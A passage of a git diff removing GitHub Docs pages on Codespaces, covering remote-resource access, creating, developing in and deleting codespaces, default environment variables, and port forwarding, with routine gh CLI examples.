a {% data variables.product.prodname_cli %} extension to configure your local machine as a gateway to remote resources -* Using a VPN - -### Using the GitHub CLI extension to access remote resources - -> [!WARNING] -> The {% data variables.product.prodname_cli %} extension is {% data variables.release-phases.closing_down %} and is no longer supported. - -The {% data variables.product.prodname_cli %} extension allows you to create a bridge between a codespace and your local machine, so that the codespace can access any remote resource that is accessible from your machine. The codespace uses your local machine as a network gateway to reach those resources. For more information, see [Using {% data variables.product.prodname_cli %} to access remote resources](https://github.com/github/gh-net#codespaces-network-bridge). - -### Using a VPN to access resources behind a private network - -As an alternative to the {% data variables.product.prodname_cli %} extension, you can use a VPN to access resources behind a private network from within your codespace. - -We recommend VPN tools like [OpenVPN](https://openvpn.net/) to access resources on a private network. For more information, see [Using the OpenVPN client from {% data variables.product.prodname_github_codespaces %}](https://github.com/codespaces-contrib/codespaces-openvpn). - -There are also a number of third party solutions that, while not explicitly endorsed by {% data variables.product.prodname_dotcom %}, have provided examples of how to integrate with {% data variables.product.prodname_github_codespaces %}. - -These third party solutions include: - -* [Tailscale](https://tailscale.com/kb/1160/github-codespaces/) - -### Allowlisting private resources for codespaces - -While {% data variables.product.prodname_dotcom %} publishes IP ranges for several products on its Meta API, IP addresses for codespaces are dynamically assigned, meaning your codespace is not guaranteed to have the same IP address day to day. For more information, see [AUTOTITLE](/rest/meta/meta). - -Allowlisting an entire IP range would give overly broad access to all codespaces (including users not affiliated with your codespaces), so for this reason codespace creation is disabled if you enable IP allow lists. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization#enabling-allowed-ip-addresses). - -## Restricting access to the public internet - -At present, there is no way to restrict codespaces from accessing the public internet, or to restrict appropriately authenticated users from accessing a forwarded port. - -For more information on how to secure your codespaces, see [AUTOTITLE](/codespaces/reference/security-in-github-codespaces). diff --git a/content/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository.md b/content/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository.md deleted file mode 100644 index def3b423500f..000000000000 --- a/content/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository.md +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Creating a codespace for a repository -intro: You can create a codespace for a branch in a repository to develop online. -redirect_from: - - /github/developing-online-with-github-codespaces/creating-a-codespace - - /github/developing-online-with-codespaces/creating-a-codespace - - /codespaces/developing-in-codespaces/creating-a-codespace - - /codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer -shortTitle: Create a codespace for a repo ---- - -{% ifversion ghec %} - -{% data reusables.codespaces.data-residency-availability %} - -{% endif %} - -## About creating a codespace for a repository - -{% data reusables.codespaces.ways-to-create-a-codespace %} Use the tabs in this article to display instructions for each of these ways of creating a codespace. - -You can use {% data variables.product.prodname_github_codespaces %} on your personal {% data variables.product.github %} account, with the quota of free use included each month for accounts on the Free and Pro plans. {% data reusables.codespaces.codespaces-continue-by-paying %} - -Organizations can enable members and outside collaborators to create and use codespaces at the organization's expense. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization). - -{% data reusables.codespaces.when-you-can-create-codespaces %} - -{% ifversion ghec %} - -> [!NOTE] -> {% data reusables.codespaces.emus-create-codespaces %} - -{% endif %} - -{% data reusables.codespaces.starting-new-project-template %} For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template). - -If you create a codespace from a repository, the codespace will be associated with a specific branch, which cannot be empty. You can create more than one codespace per repository or even per branch. - -{% data reusables.codespaces.you-can-see-all-your-codespaces %} - -### The codespace creation process - -When you create a codespace, a number of steps happen to create and connect you to your development environment: - -* Step 1: VM and storage are assigned to your codespace. -* Step 2: Container is created and your repository is cloned. -* Step 3: You can connect to the codespace. -* Step 4: Codespace continues with post-creation setup. - -For more information on what happens when you create a codespace, see [AUTOTITLE](/codespaces/about-codespaces/deep-dive). - -For more information on the lifecycle of a codespace, see [AUTOTITLE](/codespaces/about-codespaces/understanding-the-codespace-lifecycle). - -If you want to use Git hooks for your codespace, then you should set up hooks using the `devcontainer.json` lifecycle scripts, such as `postCreateCommand`. These get executed during step 4, above. For information about the lifecycle scripts, see the [dev containers specification](https://containers.dev/implementors/json_reference/#lifecycle-scripts) on the Development Containers website. Since the dev container for your codespace is created after the repository is cloned, any [git template directory](https://git-scm.com/docs/git-init#_template_directory) configured in the dev container image will not apply to your codespace. Hooks must instead be installed after the codespace is created. - -{% data reusables.codespaces.use-visual-studio-features %} - -{% data reusables.codespaces.prebuilds-crossreference %} - -## Creating a codespace for a repository - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -1. Under the repository name, select the branch dropdown menu, which is labeled with the name of the current branch, then click the branch you want to create a codespace for. - - ![Screenshot of the expanded branch dropdown menu, listing various branches. The "trunk" dropdown menu, shown with a branch icon, is outlined in orange.](/assets/images/help/codespaces/branch-drop-down.png) - -1. Click the **{% octicon "code" aria-hidden="true" %} Code** button, then click the **Codespaces** tab. - - A message is displayed at the bottom of the dialog telling you who will pay for the codespace. - - ![Screenshot of Codespaces dialog. The message showing who will pay for the codespace is highlighted with a dark orange outline.](/assets/images/help/codespaces/who-will-pay.png) - -1. Create your codespace, either using the default options, or after configuring advanced options: - - * **Use the default options** - - To create a codespace using the default options, click {% octicon "plus" aria-label="Create a codespace on BRANCH" %}. <br/><br/> - - * **Configure advanced options** - - To configure advanced options for your codespace, such as a different machine type or a particular `devcontainer.json` file: - - 1. At the top right of the **Codespaces** tab, select {% octicon "kebab-horizontal" aria-label="Codespace repository configuration" %} and click **New with options**. - - ![Screenshot of the options dropdown in the "{% data variables.product.prodname_codespaces %}" tab, with the option "New with options" highlighted.](/assets/images/help/codespaces/default-machine-type.png) - - 1. On the options page for your codespace, choose your preferred options from the dropdown menus. - - ![Screenshot of the advanced options page with buttons for "Branch," "Dev container configuration," "Region," and "Machine type."](/assets/images/help/codespaces/advanced-options.png) - - The options page may also display the names of one or more secrets that it's recommended you create in your {% data variables.product.prodname_codespaces %} settings. For more information, see [Recommended secrets](#recommended-secrets). - - > [!NOTE] - > * You can bookmark the options page to give you a quick way to create a codespace for this repository and branch. - > * The [https://github.com/codespaces/new](https://github.com/codespaces/new) page provides a quick way to create a codespace for any repository and branch. You can get to this page quickly by typing `codespace.new` into your browser's address bar. - > * For more information about dev container configuration files, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - > * For more information about machine types, see [AUTOTITLE](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types). - > * {% data reusables.codespaces.codespaces-machine-type-availability %} - - 1. Click **Create codespace**. - -## Recommended secrets - -The names of user-defined secrets may be displayed on the advanced options page when you create a codespace. This will happen if recommended secrets have been specified in the dev container configuration you have selected. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/specifying-recommended-secrets-for-a-repository). - -<img src="/assets/images/help/codespaces/recommended-secrets.png" style="max-height:50rem" alt='Screenshot of the "Create codespace" page with four recommended secrets highlighted with a dark orange outline.' /> - -Entering values for these development environment secrets, when you're prompted to do so, is recommended because it's likely your project will need values for these secrets. However, supplying values is not required for you to create a codespace. You can set these secrets within the codespace if you prefer. - -If you enter a value for a recommended secret, the secret will be available in the new codespace. When you click **Create codespace**, the secret is also added to your personal settings for {% data variables.product.prodname_codespaces %}, so you will not need to enter a value for the secret in future when you create a codespace for this repository. - -If the name of a secret is shown with a checkbox that is unavailable for selection, and no input box, this is because you already have a secret of this name configured in your personal settings for {% data variables.product.prodname_codespaces %}, and you have associated it with this repository. If you've created a secret of this name but have not associated it with this repository, the checkbox will be available to select and by doing so you can update your settings to add the association. - -If you want to change the value of a preselected secret you can do so from your personal settings for {% data variables.product.prodname_codespaces %} at [github.com/settings/codespaces](https://github.com/settings/codespaces). For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces). - -{% endwebui %} - -{% vscode %} - -{% data reusables.codespaces.creating-a-codespace-in-vscode %} - -{% endvscode %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To create a new codespace, use the `gh codespace create` subcommand. - -```shell -gh codespace create -``` - -You are prompted to choose a repository. A message is displayed telling you who will pay for the codespace. You are then prompted to choose a branch, a dev container configuration file (if more than one is available), and a machine type (if more than one is available). - -Alternatively, you can use flags to specify some or all of the options: - -```shell -gh codespace create -r OWNER/REPO -b BRANCH --devcontainer-path PATH -m MACHINE-TYPE -``` - -In this example, replace `owner/repo` with the repository identifier. Replace `branch` with the name of the branch, or the full SHA hash of the commit, that you want to be initially checked out in the codespace. If you use the `-r` flag without the `b` flag, the codespace is created from the default branch. - -Replace `path` with the path to the dev container configuration file you want to use for the new codespace. If you omit this flag and more than one dev container file is available you will be prompted to choose one from a list. For more information about the dev container configuration file, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -Replace `machine-type` with a valid identifier for an available machine type. Identifiers are strings such as: `basicLinux32gb` and `standardLinux32gb`. The type of machines that are available depends on the repository, your personal account, and your location. If you enter an invalid or unavailable machine type, the available types are shown in the error message. If you omit this flag and more than one machine type is available you will be prompted to choose one from a list. - -For full details of the options for this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_create). - -{% endcli %} - -## Further reading - -* [AUTOTITLE](/codespaces/developing-in-a-codespace/opening-an-existing-codespace) -* [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/facilitating-quick-creation-and-resumption-of-codespaces) -* [AUTOTITLE](/rest/codespaces/organizations) diff --git a/content/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template.md b/content/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template.md deleted file mode 100644 index 7af6904b09c6..000000000000 --- a/content/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Creating a codespace from a template -intro: 'If you''re starting a new project, you can create a codespace from a blank template or choose a template specially designed for the type of work you want to do.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer -shortTitle: Create a codespace from a template -redirect_from: - - /codespaces/developing-in-codespaces/creating-a-codespace-from-a-template ---- - -{% ifversion ghec %} - -{% data reusables.codespaces.data-residency-availability %} - -{% endif %} - -## About templates for {% data variables.product.prodname_github_codespaces %} - -If you're starting a new project, you can get started with development work quickly by creating a codespace from a template. You'll be able to work on your project in a cloud-based development environment, save your files in the cloud, and publish your work to a new remote repository that you can share with others or clone to your local machine. - -You can start from a blank template, choose from templates maintained by {% data variables.product.company_short %} for popular technologies such as React or Jupyter Notebook, or launch a codespace from any template repository on {% data variables.product.prodname_dotcom %}. - -{% ifversion ghec %} - -> [!NOTE] -> If you have a {% data variables.enterprise.prodname_managed_user %}, you cannot use {% data variables.product.company_short %}'s public templates for {% data variables.product.prodname_github_codespaces %}, because you can only create codespaces that are owned and paid for by your organization or enterprise. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-user-accounts). - -{% endif %} - -With a blank template, you'll start with an empty directory, with access to cloud-based compute resources and the tools, languages, and runtime environments that come preinstalled with the default dev container image. With other templates, you'll get starter files for the technology you're working with, plus typically some extra files such as a README file, a `.gitignore` file, and dev container configuration files containing some custom environment configuration. For more information on dev containers and the default image, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -As an example, if you create a codespace from {% data variables.product.company_short %}'s React template, you'll arrive in a workspace containing template files for a simple application, such as `index.js`, `app.js`, and `package.json`. Shortly after the codespace opens, a development server will start up automatically, and you will be able to view the running application in a simple browser tab within the {% data variables.product.prodname_vscode_shortname %} web client. - -![Screenshot of {% data variables.product.prodname_vscode_shortname %}'s simple browser rendering the web application in {% data variables.product.prodname_dotcom %}'s React template.](/assets/images/help/codespaces/react-template.png) - -The files and configuration included in templates are defined in template repositories. The template repository is cloned into your codespace when you create the codespace. After that, the link is severed, and your codespace won't be linked to a remote repository until you publish to one. - -> [!TIP] -> To help people get started with your framework, library, or other project, you can set up a template repository for use with {% data variables.product.prodname_github_codespaces %}. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-repository/setting-up-a-template-repository-for-github-codespaces). - -## Creating a codespace from a {% data variables.product.company_short %} template - -Templates maintained by {% data variables.product.company_short %}, including the blank template, are available from the "Your codespaces" page. - -{% data reusables.codespaces.your-codespaces-procedure-step %} -{% data reusables.codespaces.view-all-templates-step %} -1. Optionally, to view the template repository containing the files for a template, click the name of the template. - - ![Screenshot of the "Explore quick start templates" section. Three templates are listed. The templates names are outlined in orange.](/assets/images/help/codespaces/react-template-name.png) - -1. Under the name of the template you want to launch, click **Use this template**. - -{% data reusables.codespaces.template-codespaces-default-editor %} - -## Creating a codespace from a template repository - -You can create a codespace from any template repository, then publish your work to a new repository when you are ready. For more information on template repositories, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-repository-from-a-template#about-repository-templates). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.codespaces.use-this-template %} - - > [!NOTE] - > If you're a maintainer of the template repository, and want to commit changes to the template repository itself, you should create a codespace from the **{% octicon "code" aria-hidden="true" %} Code** dropdown. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). - -{% data reusables.codespaces.template-codespaces-default-editor %} - -## Publishing to a repository on {% data variables.product.github %} - -{% data reusables.codespaces.about-publishing-templates %} - -### Publishing from {% data variables.product.prodname_vscode_shortname %} - -{% data reusables.codespaces.publishing-template-codespaces %} - -When a codespace is published, you have access to a greater range of options to customize your {% data variables.product.prodname_github_codespaces %} experience. For example, you can: - -* Change the machine type of your codespace to make sure you're using resources appropriate for the work you're doing (see [AUTOTITLE](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)). -* Allow {% data variables.product.prodname_dotcom %} to automatically use GPG to sign commits you make in your codespace (see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces)). -* Share secrets with your codespace (see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces)). - -### Publishing from {% data variables.product.github %} - -You can publish an unpublished codespace from the "Your codespaces" page on {% data variables.product.github %}. This is useful if you want to publish a codespace that you don't currently have open in your browser. If you do this, your work will be preserved in a repository, but there won't be a link between your existing codespace and the new repository. However, you can navigate to the new repository and create a codespace from there, and this codespace will be connected to the repository. - -{% data reusables.codespaces.your-codespaces-procedure-step %} -1. Next to the unpublished codespace, click the ellipsis (**...**), then select **Publish to a new repository**. - - ![Screenshot of the dropdown menu for a codespace, showing the "Publish to a new repository" option.](/assets/images/help/codespaces/publish-to-new-repository.png) - -1. Choose a name for your new repository, set it as **Public** or **Private**, and click **Create repository**. - - ![Screenshot of the "Publish to a new repository" dropdown, with the "Name" field, "Public" and "Private" options, and "Create repository" button.](/assets/images/help/codespaces/template-new-repository-settings.png) - -1. Optionally, to view the new repository, click **See repository**. - -## Further reading - -* [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository) -* [AUTOTITLE](/codespaces/about-codespaces/understanding-the-codespace-lifecycle) -* [AUTOTITLE](/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace) diff --git a/content/codespaces/developing-in-a-codespace/default-environment-variables-for-your-codespace.md b/content/codespaces/developing-in-a-codespace/default-environment-variables-for-your-codespace.md deleted file mode 100644 index b1a9ca5c0890..000000000000 --- a/content/codespaces/developing-in-a-codespace/default-environment-variables-for-your-codespace.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Default environment variables for your codespace -shortTitle: Default environment variables -intro: '{% data variables.product.prodname_dotcom %} sets default environment variables for each codespace.' -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Codespaces - - Fundamentals - - Developer -redirect_from: - - /codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace ---- - -## About default environment variables - -{% data variables.product.prodname_dotcom %} sets default environment variables for every codespace. Commands run in codespaces can create, read, and modify environment variables. - -> [!NOTE] -> Environment variables are case-sensitive. - -## List of default environment variables - -| Environment variable | Description | -| ---------------------|------------ | -| `CODESPACE_NAME` | The name of the codespace For example, `octocat-literate-space-parakeet-mld5` | -| `CODESPACES` | Always `true` while in a codespace | -| `GIT_COMMITTER_EMAIL` | The email for the "author" field of future `git` commits. | -| `GIT_COMMITTER_NAME` | The name for the "committer" field of future `git` commits. | -| `GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN`| Returns the domain of the {% data variables.product.prodname_github_codespaces %} forwarded port. For example, `app.github.dev`. | -| `GITHUB_API_URL` | Returns the API URL. For example, `{% data variables.product.rest_url %}`. | -| `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. For example, `{% data variables.product.graphql_url %}`. | -| `GITHUB_REPOSITORY` | The owner and repository name. For example, `octocat/Hello-World`. | -| `GITHUB_SERVER_URL`| Returns the URL of the {% data variables.product.github %} server. For example, `https://{% data variables.product.product_url %}`. | -| `GITHUB_TOKEN` | A signed auth token representing the user in the codespace. You can use this to make authenticated calls to the GitHub API. For more information, see [AUTOTITLE](/codespaces/reference/security-in-github-codespaces#authentication). | -| `GITHUB_USER` | The name of the user that initiated the codespace. For example, `octocat`. | diff --git a/content/codespaces/developing-in-a-codespace/deleting-a-codespace.md b/content/codespaces/developing-in-a-codespace/deleting-a-codespace.md deleted file mode 100644 index cea4c73ef1cd..000000000000 --- a/content/codespaces/developing-in-a-codespace/deleting-a-codespace.md +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: Deleting a codespace -intro: You can delete a codespace you no longer need. -redirect_from: - - /github/developing-online-with-github-codespaces/deleting-a-codespace - - /github/developing-online-with-codespaces/deleting-a-codespace - - /codespaces/developing-in-codespaces/deleting-a-codespace -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer -shortTitle: Delete a codespace ---- - -## Overview - -{% data reusables.codespaces.automatic-deletion %} See [AUTOTITLE](/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces?tool=webui). - -You can manually delete a codespace in a variety of ways: -* In the terminal by using {% data variables.product.prodname_cli %} -* In {% data variables.product.prodname_vscode %} -* In your web browser - -Use the tabs at the top of this article to display instructions for each of these ways of deleting a codespace. - -> [!NOTE] -> You can't delete a codespace from within JupyterLab. - -## Why you should delete unused codespaces - -There are costs associated with storing codespaces. You should therefore delete any codespaces you no longer need. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). - -{% data reusables.codespaces.max-number-codespaces %} - -## Deleting a codespace - -{% webui %} - -{% data reusables.codespaces.your-codespaces-procedure-step %} -1. To the right of the codespace you want to delete, click {% octicon "kebab-horizontal" aria-label="Codespace configuration" %}, then click **{% octicon "trash" aria-hidden="true" %} Delete**. - - ![Screenshot of a list of codespaces with the dropdown menu for one of them displayed, showing the "Delete" option.](/assets/images/help/codespaces/delete-codespace.png) - -{% endwebui %} - -> [!NOTE] -> You may have prebuild codespaces that are consuming additional storage which are not displayed on this dashboard. To delete them, follow the steps for “[Deleting a prebuild configuration](/codespaces/prebuilding-your-codespaces/managing-prebuilds#deleting-a-prebuild-configuration).” - -{% vscode %} - -{% data reusables.codespaces.deleting-a-codespace-in-vscode %} - -{% endvscode %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To delete a codespace use the `gh codespace delete` subcommand and then choose a codespace from the list that's displayed. - -```shell -gh codespace delete -``` - -If you have unsaved changes, you'll be prompted to confirm deletion. You can use the `--force` flag to force deletion, avoiding this prompt. - -For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_delete). - -{% endcli %} - -## Bulk deleting codespaces - -{% webui %} - -You can use {% data variables.product.prodname_cli %} to delete several or all of your codespaces with a single command. For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page. - -{% endwebui %} - -{% vscode %} - -You can use {% data variables.product.prodname_cli %} to delete several or all of your codespaces with a single command. For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page. - -{% endvscode %} - -{% cli %} - -You can delete several or all of your codespaces with a single command, using `gh codespace delete` followed by one of these flags: - -`--all` - Delete all of your codespaces. - -`--repo REPOSITORY` - Delete all of your codespaces for this repository. Or use together with the `--days` flag to filter by age of the codespace. - -`--days NUMBER` - Delete all of your codespaces that are older than the specified number of days. Can be used together with the `--repo` flag. - -By default you are prompted to confirm deletion of any codespaces that contain unsaved changes. You can use the `--force` flag to skip this confirmation. - -### Example - -Delete all of the codespaces for the `octo-org/octo-repo` repository that you created more than 7 days ago. - -```shell -gh codespace delete --repo octo-org/octo-repo --days 7 -``` - -{% endcli %} - -## Deleting codespaces in your organization - -As an organization owner, you can use {% data variables.product.prodname_cli %} to delete any codespace in your organization. - -{% webui %} - -For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page. - -{% endwebui %} - -{% vscode %} - -For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page. - -{% endvscode %} - -{% cli %} - -1. Enter one of these commands to display a list of codespaces. - * `gh codespace delete --org ORGANIZATION` - Lists the current codespaces in the specified organization. - * `gh codespace delete --org ORGANIZATION --user USER` - Lists only those codespaces created by the specified user. - You must be an owner of the specified organization. -1. In the list of codespaces, navigate to the codespace you want to delete. -1. To delete the selected codespace press <kbd>Enter</kbd>. - - If the codespace contains unsaved changes you will be prompted to confirm deletion. - -{% endcli %} - -You can also use the REST API to delete codespaces for your organization. See [AUTOTITLE](/rest/codespaces/organizations#delete-a-codespace-from-the-organization). - -## Further reading - -* [AUTOTITLE](/codespaces/about-codespaces/understanding-the-codespace-lifecycle) -* [AUTOTITLE](/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces) -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces) diff --git a/content/codespaces/developing-in-a-codespace/developing-in-a-codespace.md b/content/codespaces/developing-in-a-codespace/developing-in-a-codespace.md deleted file mode 100644 index 0bc22bcfd116..000000000000 --- a/content/codespaces/developing-in-a-codespace/developing-in-a-codespace.md +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Developing in a codespace -intro: 'You can work in a codespace using your browser, {% data variables.product.prodname_vscode %}, or in a command shell.' -redirect_from: - - /github/developing-online-with-github-codespaces/developing-in-a-codespace - - /github/developing-online-with-codespaces/developing-in-a-codespace - - /codespaces/developing-in-codespaces/developing-in-a-codespace -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer -shortTitle: Develop in a codespace ---- - -## About development with {% data variables.product.prodname_github_codespaces %} - -{% ifversion ghec %} - -{% data reusables.codespaces.data-residency-availability %} - -{% endif %} - -You can develop code in a codespace using your choice of tool: - -* A command shell, via an SSH connection initiated using {% data variables.product.prodname_cli %} -* The {% data variables.product.prodname_vscode %} desktop application -* A browser-based version of {% data variables.product.prodname_vscode %} - -{% webui %} - -The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for the web browser version of {% data variables.product.prodname_vscode %}. - -## Working in a codespace in the browser - -Using {% data variables.product.prodname_codespaces %} in the browser provides you with a fully featured development experience. You can edit code, debug, use Git commands, and run your application. - -![Annotated screenshot of the five main components of the user interface: side bar, activity bar, editor, panels, status bar.](/assets/images/help/codespaces/codespace-overview-annotated.png) - -{% data reusables.codespaces.vscode-interface-annotation %} -{% data reusables.codespaces.use-chrome %} For more information, see [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients). -{% data reusables.codespaces.developing-in-vscode %} -{% data reusables.codespaces.navigating-to-a-codespace %} - -{% endwebui %} - -{% vscode %} - -The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for {% data variables.product.prodname_vscode %}. - -## Working in a codespace in {% data variables.product.prodname_vscode_shortname %} - -{% data variables.product.prodname_github_codespaces %} provides you with the full development experience of {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %} - -![Annotated screenshot of the five main components of the user interface: side bar, activity bar, editor, panels, status bar.](/assets/images/help/codespaces/codespace-annotated-vscode.png) - -{% data reusables.codespaces.vscode-interface-annotation %} - -For more information on using {% data variables.product.prodname_vscode_shortname %}, see the [User Interface guide](https://code.visualstudio.com/docs/getstarted/userinterface) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -{% data reusables.codespaces.connect-to-codespace-from-vscode %} - -For troubleshooting information, see [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients). -{% data reusables.codespaces.developing-in-vscode %} -{% data reusables.codespaces.navigating-to-a-codespace %} - -{% endvscode %} - -{% cli %} - -The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for {% data variables.product.prodname_cli %}. - -## Working in a codespace in a command shell - -{% data reusables.cli.cli-learn-more %} - -You can use {% data variables.product.prodname_cli %} to create a new codespace, or start an existing codespace, and then SSH to it. Once connected, you can work on the command line using your preferred command-line tools. - -After installing {% data variables.product.prodname_cli %} and authenticating with your {% data variables.product.prodname_dotcom %} account you can use the command `gh codespace [<SUBCOMMAND>...] --help` to browse the help information. Alternatively, you can view the same reference information at [https://cli.github.com/manual/gh_codespace](https://cli.github.com/manual/gh_codespace). - -For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-github-codespaces-with-github-cli). - -{% endcli %} diff --git a/content/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace.md b/content/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace.md deleted file mode 100644 index 542162dcd7c8..000000000000 --- a/content/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace.md +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: Forwarding ports in your codespace -shortTitle: Forward ports -intro: '{% data reusables.codespaces.about-port-forwarding %}' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /github/developing-online-with-codespaces/forwarding-ports-in-your-codespace - - /codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer ---- - -## About forwarded ports - -Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on a particular port in your codespace, you can forward that port. This allows you to access the application from the browser on your local machine for testing and debugging. - -{% webui %} - -{% data reusables.codespaces.port-forwarding-intro %} -{% data reusables.codespaces.navigate-to-ports-tab %} -1. Under the list of ports, click **Add port**. - - ![Screenshot of the "Add port" button for a codespace.](/assets/images/help/codespaces/add-port-button.png) - -1. Type the port number or address, then press Enter. - - ![Screenshot of the number 3000 being entered into the port number field for a new forwarded port.](/assets/images/help/codespaces/port-number-text-box.png) - -## Using HTTPS forwarding - -By default, {% data variables.product.prodname_github_codespaces %} forwards ports using HTTP but you can update any port to use HTTPS, as needed. If you update a port with public visibility to use HTTPS, the port's visibility will automatically change to private. - -{% data reusables.codespaces.navigate-to-ports-tab %} -1. Right-click the port you want to update, then hover over **Change Port Protocol**. - - ![Screenshot of the pop-up menu for a forwarded port, with the "Change Port Protocol" option selected and "HTTPS" selected in the submenu.](/assets/images/help/codespaces/update-port-protocol.png) - -1. Select the protocol needed for this port. The protocol that you select will be remembered for this port for the lifetime of the codespace. - -{% data reusables.codespaces.port-forwarding-sharing %} - -{% data reusables.codespaces.navigate-to-ports-tab %} -1. Right-click the port that you want to share, click the **Port Visibility**, then click **Private to Organization** or **Public**. - - ![Screenshot of the pop-up menu for a forwarded port, with the "Port Visibility" option selected and "Private" selected in the submenu.](/assets/images/help/codespaces/make-public-option.png) - -1. To the right of the local address for the port, click the copy icon. - - ![Screenshot of the "Ports" panel. The copy icon, which copies a forwarded port's URL, is highlighted with an orange outline.](/assets/images/help/codespaces/copy-icon-port-url.png) - -1. Send the copied URL to the person you want to share the port with. - -{% data reusables.codespaces.using-tools-to-access-ports-1 %} -{% data reusables.codespaces.find-address-and-token %} -{% data reusables.codespaces.using-tools-to-access-ports-2 %} -{% data reusables.codespaces.port-forwarding-adding %} -{% data reusables.codespaces.port-forwarding-labeling %} - -{% endwebui %} - -{% vscode %} - -{% data reusables.codespaces.port-forwarding-intro %} -{% data reusables.codespaces.navigate-to-ports-tab %} -1. Under the list of ports, click **Add port**. - - ![Screenshot of the "Add port" button for a codespace.](/assets/images/help/codespaces/add-port-button.png) - -1. Type the port number or address, then press Enter. - - ![Screenshot of the number 3000 being entered into the port number field for a new forwarded port.](/assets/images/help/codespaces/port-number-text-box.png) - -{% data reusables.codespaces.port-forwarding-sharing %} - -{% data reusables.codespaces.navigate-to-ports-tab %} - -1. Right-click the port that you want to share, click **Port Visibility**, then click **Private to Organization** or **Public**. - - ![Screenshot of the pop-up menu for a forwarded port, with the "Port Visibility" option selected and "Private" selected in the submenu.](/assets/images/help/codespaces/make-public-option.png) - -1. To the right of the local address for the port, click the copy icon. - - ![Screenshot of the "Ports" panel. The copy icon, which copies a forwarded port's URL, is highlighted with an orange outline.](/assets/images/help/codespaces/copy-icon-port-url.png) - -1. Send the copied URL to the person you want to share the port with. - -{% data reusables.codespaces.using-tools-to-access-ports-1 %} -{% data reusables.codespaces.find-address-and-token %} -{% data reusables.codespaces.using-tools-to-access-ports-2 %} -{% data reusables.codespaces.port-forwarding-adding %} -{% data reusables.codespaces.port-forwarding-labeling %} - -{% endvscode %} - -{% cli %} - -{% data 